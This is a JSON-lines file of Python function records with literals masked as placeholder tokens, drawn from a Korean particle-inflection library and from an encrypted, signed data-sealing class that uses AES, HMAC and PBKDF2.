{"signature": "def split_phonemes(letter, onset=True, nucleus=True, coda=True):", "body": "if len(letter) != <NUM_LIT:1> or not is_hangul(letter):<EOL><INDENT>raise ValueError('<STR_LIT>' % letter)<EOL><DEDENT>offset = ord(letter) - FIRST_HANGUL_OFFSET<EOL>phonemes = [None] * <NUM_LIT:3><EOL>if onset:<EOL><INDENT>phonemes[<NUM_LIT:0>] = ONSETS[offset // (NUM_NUCLEUSES * NUM_CODAS)]<EOL><DEDENT>if nucleus:<EOL><INDENT>phonemes[<NUM_LIT:1>] = NUCLEUSES[(offset // NUM_CODAS) % NUM_NUCLEUSES]<EOL><DEDENT>if coda:<EOL><INDENT>phonemes[<NUM_LIT:2>] = CODAS[offset % NUM_CODAS]<EOL><DEDENT>return tuple(phonemes)<EOL>", "docstring": "Splits Korean phonemes as known as \"\uc790\uc18c\" from a Hangul letter.\n\n    :returns: (onset, nucleus, coda)\n    :raises ValueError: `letter` is not a Hangul single letter.", "id": "f1751:m3"}
{"signature": "def combine_words(word1, word2):", "body": "if word1 and word2 and is_consonant(word2[<NUM_LIT:0>]):<EOL><INDENT>onset, nucleus, coda = split_phonemes(word1[-<NUM_LIT:1>])<EOL>if not coda:<EOL><INDENT>glue = join_phonemes(onset, nucleus, word2[<NUM_LIT:0>])<EOL>return word1[:-<NUM_LIT:1>] + glue + word2[<NUM_LIT:1>:]<EOL><DEDENT><DEDENT>return word1 + word2<EOL>", "docstring": "Combines two words.  If the first word ends with a vowel and the initial\n    letter of the second word is only consonant, it merges them into one\n    letter::\n\n    >>> combine_words(u'\ub2e4', u'\u313a')\n    \ub2ed\n    >>> combine_words(u'\uac00\uc624', u'\u3134\ub204\ub9ac')\n    \uac00\uc628\ub204\ub9ac", "id": "f1751:m4"}
{"signature": "def index_particles(particles):", "body": "patterns, indices = [], {}<EOL>for x, p in enumerate(particles):<EOL><INDENT>group = u'<STR_LIT>' % x<EOL>indices[group] = x<EOL>patterns.append(u'<STR_LIT>' % (group, p.regex_pattern()))<EOL><DEDENT>pattern = re.compile(u'<STR_LIT:|>'.join(patterns))<EOL>return pattern, indices<EOL>", "docstring": "Indexes :class:`Particle` objects.  It returns a regex pattern which\n    matches to any particle morphs and a dictionary indexes the given particles\n    by regex groups.", "id": "f1753:m0"}
{"signature": "def parse(morph):", "body": "return registry.parse(morph)<EOL>", "docstring": "Shortcut for :class:`ParticleRegistry.parse` of the default registry.", "id": "f1753:m1"}
{"signature": "def pick(word, morph, **kwargs):", "body": "return registry.pick(word, morph, **kwargs)<EOL>", "docstring": "Shortcut for :class:`ParticleRegistry.pick` of the default registry.", "id": "f1753:m2"}
{"signature": "def postfix(word, morph, **kwargs):", "body": "return registry.postfix(word, morph, **kwargs)<EOL>", "docstring": "Shortcut for :class:`ParticleRegistry.postfix` of the default registry.", "id": "f1753:m3"}
{"signature": "def format(message, *args, **kwargs):", "body": "return formatter.vformat(message, args, kwargs)<EOL>", "docstring": "Shortcut for :class:`tossi.Formatter.format` of the default registry.", "id": "f1753:m6"}
{"signature": "def generate_tolerances(morph1, morph2):", "body": "if morph1 == morph2:<EOL><INDENT>return<EOL><DEDENT>if not (morph1 and morph2):<EOL><INDENT>yield u'<STR_LIT>' % (morph1 or morph2)<EOL>return<EOL><DEDENT>len1, len2 = len(morph1), len(morph2)<EOL>if len1 != len2:<EOL><INDENT>longer, shorter = (morph1, morph2) if len1 > len2 else (morph2, morph1)<EOL>if longer.endswith(shorter):<EOL><INDENT>yield u'<STR_LIT>' % (longer[:-len(shorter)], shorter)<EOL>return<EOL><DEDENT><DEDENT>for x, (let1, let2) in enumerate(zip(reversed(morph1), reversed(morph2))):<EOL><INDENT>if let1 != let2:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if x:<EOL><INDENT>x1, x2 = len(morph1) - x, len(morph2) - x<EOL>common_suffix = morph1[x1:]<EOL>morph1, morph2 = morph1[:x1], morph2[:x2]<EOL><DEDENT>else:<EOL><INDENT>common_suffix = '<STR_LIT>'<EOL><DEDENT>for morph1, morph2 in [(morph1, morph2), (morph2, morph1)]:<EOL><INDENT>yield u'<STR_LIT>' % (morph1, morph2, common_suffix)<EOL>yield u'<STR_LIT>' % (morph1, morph2, common_suffix)<EOL><DEDENT>", "docstring": "Generates all reasonable tolerant particle morphs::\n\n    >>> set(generate_tolerances(u'\uc774', u'\uac00'))\n    set([u'\uc774(\uac00)', u'(\uc774)\uac00', u'\uac00(\uc774)', u'(\uac00)\uc774'])\n    >>> set(generate_tolerances(u'\uc774\uba74', u'\uba74'))\n    set([u'(\uc774)\uba74'])", "id": "f1754:m0"}
{"signature": "def parse_tolerance_style(style, registry=None):", "body": "if isinstance(style, integer_types):<EOL><INDENT>return style<EOL><DEDENT>if registry is None:<EOL><INDENT>from . import registry<EOL><DEDENT>particle = registry.parse(style)<EOL>if len(particle.tolerances) != <NUM_LIT:4>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return particle.tolerances.index(style)<EOL>", "docstring": "Resolves a tolerance style of the given tolerant particle morph::\n\n    >>> parse_tolerance_style(u'\uc740(\ub294)')\n    0\n    >>> parse_tolerance_style(u'(\uc740)\ub294')\n    1\n    >>> parse_tolerance_style(OPTIONAL_MORPH2_AND_MORPH1)\n    3", "id": "f1754:m1"}
{"signature": "def guess_coda(word):", "body": "word = filter_only_significant(word)<EOL>return guess_coda_from_significant_word(word)<EOL>", "docstring": "Guesses the coda of the given word as correct as possible.  If it fails\n    to guess the coda, returns ``None``.", "id": "f1755:m0"}
{"signature": "def filter_only_significant(word):", "body": "if not word:<EOL><INDENT>return word<EOL><DEDENT>if word.startswith(u'<STR_LIT:(>') and word.endswith(u'<STR_LIT:)>'):<EOL><INDENT>return filter_only_significant(word[<NUM_LIT:1>:-<NUM_LIT:1>])<EOL><DEDENT>x = len(word)<EOL>while x > <NUM_LIT:0>:<EOL><INDENT>x -= <NUM_LIT:1><EOL>c = word[x]<EOL>if c == u'<STR_LIT:)>':<EOL><INDENT>m = INSIGNIFICANT_PARENTHESIS_PATTERN.search(word[:x + <NUM_LIT:1>])<EOL>if m is not None:<EOL><INDENT>x = m.start()<EOL><DEDENT>continue<EOL><DEDENT>unicode_category = unicodedata.category(c)<EOL>if not SIGNIFICANT_UNICODE_CATEGORY_PATTERN.match(unicode_category):<EOL><INDENT>continue<EOL><DEDENT>break<EOL><DEDENT>return word[:x + <NUM_LIT:1>]<EOL>", "docstring": "Gets a word which removes insignificant letters at the end of the given\n    word::\n\n    >>> pick_significant(u'\ub125\uc2a8(\ucf54\ub9ac\uc544)')\n    \ub125\uc2a8\n    >>> pick_significant(u'\uba54\uc774\ud50c\uc2a4\ud1a0\ub9ac...')\n    \uba54\uc774\ud50c\uc2a4\ud1a0\ub9ac", "id": "f1755:m2"}
{"signature": "def pick_coda_from_letter(letter):", "body": "try:<EOL><INDENT>__, __, coda =split_phonemes(letter, onset=False, nucleus=False, coda=True)<EOL><DEDENT>except ValueError:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>return coda<EOL><DEDENT>", "docstring": "Picks only a coda from a Hangul letter.  It returns ``None`` if the\n    given letter is not Hangul.", "id": "f1755:m3"}
{"signature": "def pick_coda_from_decimal(decimal):", "body": "decimal = Decimal(decimal)<EOL>__, digits, exp = decimal.as_tuple()<EOL>if exp < <NUM_LIT:0>:<EOL><INDENT>return DIGIT_CODAS[digits[-<NUM_LIT:1>]]<EOL><DEDENT>__, digits, exp = decimal.normalize().as_tuple()<EOL>index = bisect_right(EXP_INDICES, exp) - <NUM_LIT:1><EOL>if index < <NUM_LIT:0>:<EOL><INDENT>return DIGIT_CODAS[digits[-<NUM_LIT:1>]]<EOL><DEDENT>else:<EOL><INDENT>return EXP_CODAS[EXP_INDICES[index]]<EOL><DEDENT>", "docstring": "Picks only a coda from a decimal.", "id": "f1755:m4"}
{"signature": "def cached_property(f):", "body": "@property<EOL>@functools.wraps(f)<EOL>def wrapped(self, name=f.__name__):<EOL><INDENT>try:<EOL><INDENT>cache = self.__cache__<EOL><DEDENT>except AttributeError:<EOL><INDENT>self.__cache__ = cache = {}<EOL><DEDENT>try:<EOL><INDENT>return cache[name]<EOL><DEDENT>except KeyError:<EOL><INDENT>cache[name] = rv = f(self)<EOL>return rv<EOL><DEDENT><DEDENT>return wrapped<EOL>", "docstring": "Similar to `@property` but it calls the function just once and caches\n    the result.  The object has to can have ``__cache__`` attribute.\n\n    If you define `__slots__` for optimization, the metaclass should be a\n    :class:`CacheMeta`.", "id": "f1756:m0"}
{"signature": "def singleton_particle(*bases):", "body": "return with_metaclass(SingletonParticleMeta, SingletonParticle, *bases)<EOL>", "docstring": "Defines a singleton instance immediately when defining the class.  The\n    name of the class will refer the instance instead.", "id": "f1757:m0"}
{"signature": "@cached_property<EOL><INDENT>def tolerances(self):<DEDENT>", "body": "return tuple(generate_tolerances(self.morph1, self.morph2))<EOL>", "docstring": "The tuple containing all the possible tolerant morphs.", "id": "f1757:c0:m1"}
{"signature": "def tolerance(self, style=DEFAULT_TOLERANCE_STYLE):", "body": "return get_tolerance(self.tolerances, style)<EOL>", "docstring": "Gets a tolerant morph.", "id": "f1757:c0:m2"}
{"signature": "def rule(self, coda):", "body": "if coda:<EOL><INDENT>return self.morph1<EOL><DEDENT>else:<EOL><INDENT>return self.morph2<EOL><DEDENT>", "docstring": "Determines one of allomorphic morphs based on a coda.", "id": "f1757:c0:m3"}
{"signature": "def allomorph(self, word, morph, tolerance_style=DEFAULT_TOLERANCE_STYLE,<EOL>guess_coda=DEFAULT_GUESS_CODA):", "body": "suffix = self.match(morph)<EOL>if suffix is None:<EOL><INDENT>return None<EOL><DEDENT>coda = guess_coda(word)<EOL>if coda is not None:<EOL><INDENT>morph = self.rule(coda)<EOL><DEDENT>elif isinstance(tolerance_style, text_type):<EOL><INDENT>morph = tolerance_style<EOL><DEDENT>elif not suffix or not is_consonant(suffix[<NUM_LIT:0>]):<EOL><INDENT>morph = self.tolerance(tolerance_style)<EOL><DEDENT>else:<EOL><INDENT>morph1 = (combine_words(self.morph1, suffix)<EOL>if self.morph1 else suffix[<NUM_LIT:1>:])<EOL>morph2 = (combine_words(self.morph2, suffix)<EOL>if self.morph2 else suffix[<NUM_LIT:1>:])<EOL>tolerances = generate_tolerances(morph1, morph2)<EOL>return get_tolerance_from_iterator(tolerances, tolerance_style)<EOL><DEDENT>return combine_words(morph, suffix)<EOL>", "docstring": "Determines one of allomorphic morphs based on a word.\n\n        .. see also:: :meth:`allomorph`.", "id": "f1757:c0:m4"}
{"signature": "def __getitem__(self, key):", "body": "if isinstance(key, slice):<EOL><INDENT>word = key.start<EOL>morph = key.stop or self.morph1<EOL>tolerance_style = key.step or DEFAULT_TOLERANCE_STYLE<EOL><DEDENT>else:<EOL><INDENT>word, morph = key, self.morph1<EOL>tolerance_style = DEFAULT_TOLERANCE_STYLE<EOL><DEDENT>return self.allomorph(word, morph, tolerance_style)<EOL>", "docstring": "The syntax sugar to determine one of allomorphic morphs based on a\n        word::\n\n           eun = Particle(u'\uc740', u'\ub294')\n           assert eun[u'\ub098\uc624'] == u'\ub294'\n           assert eun[u'\ubaa8\ub9ac\uc548'] == u'\uc740'", "id": "f1757:c0:m5"}
{"signature": "@cached_property<EOL><INDENT>def morphs(self):<DEDENT>", "body": "seen = set()<EOL>saw = seen.add<EOL>morphs = chain([self.morph1, self.morph2], self.tolerances)<EOL>unique_morphs = (x for x in morphs if x and not (x in seen or saw(x)))<EOL>return tuple(sorted(unique_morphs, key=len, reverse=True))<EOL>", "docstring": "The tuple containing the given morphs and all the possible tolerant\n        morphs.  Longer is first.", "id": "f1757:c0:m7"}
{"signature": "def set_signature_passphrases(self, signature_passphrases):", "body": "self.signature_passphrases = self._update_dict(signature_passphrases,<EOL>{}, replace_data=True)<EOL>", "docstring": "Set signature passphrases", "id": "f1760:c0:m1"}
{"signature": "def get_signature_passphrases(self):", "body": "return self.signature_passphrases<EOL>", "docstring": "Get signature passphrases", "id": "f1760:c0:m2"}
{"signature": "def set_encryption_passphrases(self, encryption_passphrases):", "body": "self.encryption_passphrases = self._update_dict(encryption_passphrases,<EOL>{}, replace_data=True)<EOL>", "docstring": "Set encryption passphrases", "id": "f1760:c0:m3"}
{"signature": "def get_encryption_passphrases(self):", "body": "return self.encryption_passphrases<EOL>", "docstring": "Get encryption passphrases", "id": "f1760:c0:m4"}
{"signature": "def set_algorithms(self, signature=None, encryption=None,<EOL>serialization=None, compression=None):", "body": "self.signature_algorithms =self._update_dict(signature, self.DEFAULT_SIGNATURE)<EOL>self.encryption_algorithms =self._update_dict(encryption, self.DEFAULT_ENCRYPTION)<EOL>self.serialization_algorithms =self._update_dict(serialization, self.DEFAULT_SERIALIZATION)<EOL>self.compression_algorithms =self._update_dict(compression, self.DEFAULT_COMPRESSION)<EOL>", "docstring": "Set algorithms used for sealing. Defaults can not be overridden.", "id": "f1760:c0:m5"}
{"signature": "def get_algorithms(self):", "body": "return {<EOL>'<STR_LIT>': self.signature_algorithms,<EOL>'<STR_LIT>': self.encryption_algorithms,<EOL>'<STR_LIT>': self.serialization_algorithms,<EOL>'<STR_LIT>': self.compression_algorithms,<EOL>}<EOL>", "docstring": "Get algorithms used for sealing", "id": "f1760:c0:m6"}
{"signature": "def set_options(self, options):", "body": "self.options = self._set_options(options)<EOL>", "docstring": "Set options used for sealing", "id": "f1760:c0:m7"}
{"signature": "def _set_options(self, options):", "body": "if not options:<EOL><INDENT>return self.options.copy()<EOL><DEDENT>options = options.copy()<EOL>if '<STR_LIT>' in options:<EOL><INDENT>self.set_magic(options['<STR_LIT>'])<EOL>del(options['<STR_LIT>'])<EOL><DEDENT>if '<STR_LIT>' in options:<EOL><INDENT>flags = options['<STR_LIT>']<EOL>del(options['<STR_LIT>'])<EOL>for key, value in flags.iteritems():<EOL><INDENT>if not isinstance(value, bool):<EOL><INDENT>raise TypeError('<STR_LIT>' % key)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>flags = self.options['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT:info>' in options:<EOL><INDENT>del(options['<STR_LIT:info>'])<EOL><DEDENT>for key, value in options.iteritems():<EOL><INDENT>if not isinstance(value, int):<EOL><INDENT>raise TypeError('<STR_LIT>' % key)<EOL><DEDENT>if value < <NUM_LIT:0> or value > <NUM_LIT:255>:<EOL><INDENT>raise ValueError('<STR_LIT>' % key)<EOL><DEDENT><DEDENT>new_options = self.options.copy()<EOL>new_options.update(options)<EOL>new_options['<STR_LIT>'].update(flags)<EOL>return new_options<EOL>", "docstring": "Private function for setting options used for sealing", "id": "f1760:c0:m8"}
{"signature": "def get_options(self):", "body": "return self.options<EOL>", "docstring": "Get options used for sealing", "id": "f1760:c0:m9"}
{"signature": "def set_magic(self, magic):", "body": "if magic is None or isinstance(magic, str):<EOL><INDENT>self.magic = magic<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Set magic (prefix)", "id": "f1760:c0:m10"}
{"signature": "def get_magic(self):", "body": "return self.magic<EOL>", "docstring": "Get magic (prefix)", "id": "f1760:c0:m11"}
{"signature": "def seal(self, data, options=None):", "body": "options = self._set_options(options)<EOL>data = self._serialize_data(data, options)<EOL>data = self._compress_data(data, options)<EOL>data = self._encrypt_data(data, options)<EOL>data = self._add_header(data, options)<EOL>data = self._add_magic(data)<EOL>data = self._sign_data(data, options)<EOL>data = self._remove_magic(data)<EOL>data = urlsafe_nopadding_b64encode(data)<EOL>data = self._add_magic(data)<EOL>return data<EOL>", "docstring": "Seal data", "id": "f1760:c0:m12"}
{"signature": "def unseal(self, data, return_options=False):", "body": "data = self._remove_magic(data)<EOL>data = urlsafe_nopadding_b64decode(data)<EOL>options = self._read_header(data)<EOL>data = self._add_magic(data)<EOL>data = self._unsign_data(data, options)<EOL>data = self._remove_magic(data)<EOL>data = self._remove_header(data, options)<EOL>data = self._decrypt_data(data, options)<EOL>data = self._decompress_data(data, options)<EOL>data = self._unserialize_data(data, options)<EOL>if return_options:<EOL><INDENT>return data, options<EOL><DEDENT>else:<EOL><INDENT>return data<EOL><DEDENT>", "docstring": "Unseal data", "id": "f1760:c0:m13"}
{"signature": "def verify_signature(self, data):", "body": "data = self._remove_magic(data)<EOL>data = urlsafe_nopadding_b64decode(data)<EOL>options = self._read_header(data)<EOL>data = self._add_magic(data)<EOL>self._unsign_data(data, options)<EOL>", "docstring": "Verify sealed data signature", "id": "f1760:c0:m14"}
{"signature": "def get_data_options(self, data, verify_signature=True):", "body": "data = self._remove_magic(data)<EOL>data = urlsafe_nopadding_b64decode(data)<EOL>options = self._read_header(data)<EOL>data = self._add_magic(data)<EOL>if verify_signature:<EOL><INDENT>data = self._unsign_data(data, options)<EOL><DEDENT>return options<EOL>", "docstring": "Get sealed data options", "id": "f1760:c0:m15"}
{"signature": "def _encode(self, data, algorithm, key=None):", "body": "if algorithm['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>return data + self._hmac_generate(data, algorithm, key)<EOL><DEDENT>elif algorithm['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>return self._aes_encrypt(data, algorithm, key)<EOL><DEDENT>elif algorithm['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>return data<EOL><DEDENT>elif algorithm['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>return json.dumps(data)<EOL><DEDENT>elif algorithm['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>return data<EOL><DEDENT>elif algorithm['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>return self._zlib_compress(data, algorithm)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>' % algorithm['<STR_LIT:type>'])<EOL><DEDENT>", "docstring": "Encode data with specific algorithm", "id": "f1760:c0:m16"}
{"signature": "def _decode(self, data, algorithm, key=None):", "body": "if algorithm['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>verify_signature = data[-algorithm['<STR_LIT>']:]<EOL>data = data[:-algorithm['<STR_LIT>']]<EOL>signature = self._hmac_generate(data, algorithm, key)<EOL>if not const_equal(verify_signature, signature):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return data<EOL><DEDENT>elif algorithm['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>return self._aes_decrypt(data, algorithm, key)<EOL><DEDENT>elif algorithm['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>return data<EOL><DEDENT>elif algorithm['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>return json.loads(data)<EOL><DEDENT>elif algorithm['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>return data<EOL><DEDENT>elif algorithm['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>return self._zlib_decompress(data, algorithm)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>' % algorithm['<STR_LIT:type>'])<EOL><DEDENT>", "docstring": "Decode data with specific algorithm", "id": "f1760:c0:m17"}
{"signature": "def _sign_data(self, data, options):", "body": "if options['<STR_LIT>'] not in self.signature_algorithms:<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>% options['<STR_LIT>'])<EOL><DEDENT>signature_algorithm =self.signature_algorithms[options['<STR_LIT>']]<EOL>algorithm = self._get_algorithm_info(signature_algorithm)<EOL>key_salt = get_random_bytes(algorithm['<STR_LIT>'])<EOL>key = self._generate_key(options['<STR_LIT>'],<EOL>self.signature_passphrases, key_salt, algorithm)<EOL>data = self._encode(data, algorithm, key)<EOL>return data + key_salt<EOL>", "docstring": "Add signature to data", "id": "f1760:c0:m18"}
{"signature": "def _unsign_data(self, data, options):", "body": "if options['<STR_LIT>'] not in self.signature_algorithms:<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>% options['<STR_LIT>'])<EOL><DEDENT>signature_algorithm =self.signature_algorithms[options['<STR_LIT>']]<EOL>algorithm = self._get_algorithm_info(signature_algorithm)<EOL>key_salt = '<STR_LIT>'<EOL>if algorithm['<STR_LIT>']:<EOL><INDENT>key_salt = data[-algorithm['<STR_LIT>']:]<EOL>data = data[:-algorithm['<STR_LIT>']]<EOL><DEDENT>key = self._generate_key(options['<STR_LIT>'],<EOL>self.signature_passphrases, key_salt, algorithm)<EOL>data = self._decode(data, algorithm, key)<EOL>return data<EOL>", "docstring": "Verify and remove signature", "id": "f1760:c0:m19"}
{"signature": "def _encrypt_data(self, data, options):", "body": "if options['<STR_LIT>'] not in self.encryption_algorithms:<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>% options['<STR_LIT>'])<EOL><DEDENT>encryption_algorithm =self.encryption_algorithms[options['<STR_LIT>']]<EOL>algorithm = self._get_algorithm_info(encryption_algorithm)<EOL>key_salt = get_random_bytes(algorithm['<STR_LIT>'])<EOL>key = self._generate_key(options['<STR_LIT>'],<EOL>self.encryption_passphrases, key_salt, algorithm)<EOL>data = self._encode(data, algorithm, key)<EOL>return data + key_salt<EOL>", "docstring": "Encrypt data", "id": "f1760:c0:m20"}
{"signature": "def _decrypt_data(self, data, options):", "body": "if options['<STR_LIT>'] not in self.encryption_algorithms:<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>% options['<STR_LIT>'])<EOL><DEDENT>encryption_algorithm =self.encryption_algorithms[options['<STR_LIT>']]<EOL>algorithm = self._get_algorithm_info(encryption_algorithm)<EOL>key_salt = '<STR_LIT>'<EOL>if algorithm['<STR_LIT>']:<EOL><INDENT>key_salt = data[-algorithm['<STR_LIT>']:]<EOL>data = data[:-algorithm['<STR_LIT>']]<EOL><DEDENT>key = self._generate_key(options['<STR_LIT>'],<EOL>self.encryption_passphrases, key_salt, algorithm)<EOL>data = self._decode(data, algorithm, key)<EOL>return data<EOL>", "docstring": "Decrypt data", "id": "f1760:c0:m21"}
{"signature": "def _serialize_data(self, data, options):", "body": "serialization_algorithm_id = options['<STR_LIT>']<EOL>if serialization_algorithm_id not in self.serialization_algorithms:<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>% serialization_algorithm_id)<EOL><DEDENT>serialization_algorithm =self.serialization_algorithms[serialization_algorithm_id]<EOL>algorithm = self._get_algorithm_info(serialization_algorithm)<EOL>data = self._encode(data, algorithm)<EOL>return data<EOL>", "docstring": "Serialize data", "id": "f1760:c0:m22"}
{"signature": "def _unserialize_data(self, data, options):", "body": "serialization_algorithm_id = options['<STR_LIT>']<EOL>if serialization_algorithm_id not in self.serialization_algorithms:<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>% serialization_algorithm_id)<EOL><DEDENT>serialization_algorithm =self.serialization_algorithms[serialization_algorithm_id]<EOL>algorithm = self._get_algorithm_info(serialization_algorithm)<EOL>data = self._decode(data, algorithm)<EOL>return data<EOL>", "docstring": "Unserialize data", "id": "f1760:c0:m23"}
{"signature": "def _compress_data(self, data, options):", "body": "compression_algorithm_id = options['<STR_LIT>']<EOL>if compression_algorithm_id not in self.compression_algorithms:<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>% compression_algorithm_id)<EOL><DEDENT>compression_algorithm =self.compression_algorithms[compression_algorithm_id]<EOL>algorithm = self._get_algorithm_info(compression_algorithm)<EOL>compressed = self._encode(data, algorithm)<EOL>if len(compressed) < len(data):<EOL><INDENT>data = compressed<EOL><DEDENT>else:<EOL><INDENT>options['<STR_LIT>'] = <NUM_LIT:0><EOL><DEDENT>return data<EOL>", "docstring": "Compress data", "id": "f1760:c0:m24"}
{"signature": "def _decompress_data(self, data, options):", "body": "compression_algorithm_id = options['<STR_LIT>']<EOL>if compression_algorithm_id not in self.compression_algorithms:<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>% compression_algorithm_id)<EOL><DEDENT>compression_algorithm =self.compression_algorithms[compression_algorithm_id]<EOL>algorithm = self._get_algorithm_info(compression_algorithm)<EOL>data = self._decode(data, algorithm)<EOL>return data<EOL>", "docstring": "Decompress data", "id": "f1760:c0:m25"}
{"signature": "def _remove_magic(self, data):", "body": "if not self.magic:<EOL><INDENT>return data<EOL><DEDENT>magic_size = len(self.magic)<EOL>magic = data[:magic_size]<EOL>if magic != self.magic:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>data = data[magic_size:]<EOL>return data<EOL>", "docstring": "Verify and remove magic", "id": "f1760:c0:m26"}
{"signature": "def _add_magic(self, data):", "body": "if self.magic:<EOL><INDENT>return self.magic + data<EOL><DEDENT>return data<EOL>", "docstring": "Add magic", "id": "f1760:c0:m27"}
{"signature": "def _add_header(self, data, options):", "body": "<EOL>version_info = self._get_version_info(options['<STR_LIT:version>'])<EOL>flags = options['<STR_LIT>']<EOL>header_flags = dict(<EOL>(i, str(int(j))) for i, j in options['<STR_LIT>'].iteritems())<EOL>header_flags = '<STR_LIT>'.join(version_info['<STR_LIT>'](**header_flags))<EOL>header_flags = int(header_flags, <NUM_LIT:2>)<EOL>options['<STR_LIT>'] = header_flags<EOL>header = version_info['<STR_LIT>']<EOL>header = header(**options)<EOL>header = pack(version_info['<STR_LIT>'], *header)<EOL>if '<STR_LIT>' in flags and flags['<STR_LIT>']:<EOL><INDENT>timestamp = long(time())<EOL>timestamp = pack(version_info['<STR_LIT>'], timestamp)<EOL>header = header + timestamp<EOL><DEDENT>return header + data<EOL>", "docstring": "Add header to data", "id": "f1760:c0:m28"}
{"signature": "def _read_header(self, data):", "body": "<EOL>version = self._read_version(data)<EOL>version_info = self._get_version_info(version)<EOL>header_data = data[:version_info['<STR_LIT>']]<EOL>header = version_info['<STR_LIT>']<EOL>header = header._make(<EOL>unpack(version_info['<STR_LIT>'], header_data))<EOL>header = dict(header._asdict())<EOL>flags = list(\"<STR_LIT>\".format(header['<STR_LIT>']))<EOL>flags = dict(version_info['<STR_LIT>']._make(flags)._asdict())<EOL>flags = dict((i, bool(int(j))) for i, j in flags.iteritems())<EOL>header['<STR_LIT>'] = flags<EOL>timestamp = None<EOL>if flags['<STR_LIT>']:<EOL><INDENT>ts_start = version_info['<STR_LIT>']<EOL>ts_end = ts_start + version_info['<STR_LIT>']<EOL>timestamp_data = data[ts_start:ts_end]<EOL>timestamp = unpack(<EOL>version_info['<STR_LIT>'], timestamp_data)[<NUM_LIT:0>]<EOL><DEDENT>header['<STR_LIT:info>'] = {'<STR_LIT>': timestamp}<EOL>return header<EOL>", "docstring": "Read header from data", "id": "f1760:c0:m29"}
{"signature": "def _remove_header(self, data, options):", "body": "version_info = self._get_version_info(options['<STR_LIT:version>'])<EOL>header_size = version_info['<STR_LIT>']<EOL>if options['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>header_size += version_info['<STR_LIT>']<EOL><DEDENT>data = data[header_size:]<EOL>return data<EOL>", "docstring": "Remove header from data", "id": "f1760:c0:m30"}
{"signature": "def _read_version(self, data):", "body": "version = ord(data[<NUM_LIT:0>])<EOL>if version not in self.VERSIONS:<EOL><INDENT>raise Exception('<STR_LIT>' % version)<EOL><DEDENT>return version<EOL>", "docstring": "Read header version from data", "id": "f1760:c0:m31"}
{"signature": "def _get_version_info(self, version):", "body": "return self.VERSIONS[version]<EOL>", "docstring": "Get version info", "id": "f1760:c0:m32"}
{"signature": "def _get_algorithm_info(self, algorithm_info):", "body": "if algorithm_info['<STR_LIT>'] not in self.ALGORITHMS:<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>% algorithm_info['<STR_LIT>'])<EOL><DEDENT>algorithm = self.ALGORITHMS[algorithm_info['<STR_LIT>']]<EOL>algorithm_info.update(algorithm)<EOL>return algorithm_info<EOL>", "docstring": "Get algorithm info", "id": "f1760:c0:m33"}
{"signature": "@staticmethod<EOL><INDENT>def _generate_key(pass_id, passphrases, salt, algorithm):<DEDENT>", "body": "if pass_id not in passphrases:<EOL><INDENT>raise Exception('<STR_LIT>' % pass_id)<EOL><DEDENT>passphrase = passphrases[pass_id]<EOL>if len(passphrase) < <NUM_LIT:32>:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>digestmod = EncryptedPickle._get_hashlib(algorithm['<STR_LIT>'])<EOL>encoder = PBKDF2(passphrase, salt,<EOL>iterations=algorithm['<STR_LIT>'],<EOL>digestmodule=digestmod)<EOL>return encoder.read(algorithm['<STR_LIT>'])<EOL>", "docstring": "Generate and return PBKDF2 key", "id": "f1760:c0:m34"}
{"signature": "@staticmethod<EOL><INDENT>def _update_dict(data, default_data, replace_data=False):<DEDENT>", "body": "if not data:<EOL><INDENT>data = default_data.copy()<EOL>return data<EOL><DEDENT>if not isinstance(data, dict):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if len(data) > <NUM_LIT:255>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>for i in data.keys():<EOL><INDENT>if not isinstance(i, int):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if i < <NUM_LIT:0> or i > <NUM_LIT:255>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>if not replace_data:<EOL><INDENT>data.update(default_data)<EOL><DEDENT>return data<EOL>", "docstring": "Update algorithm definition type dictionaries", "id": "f1760:c0:m35"}
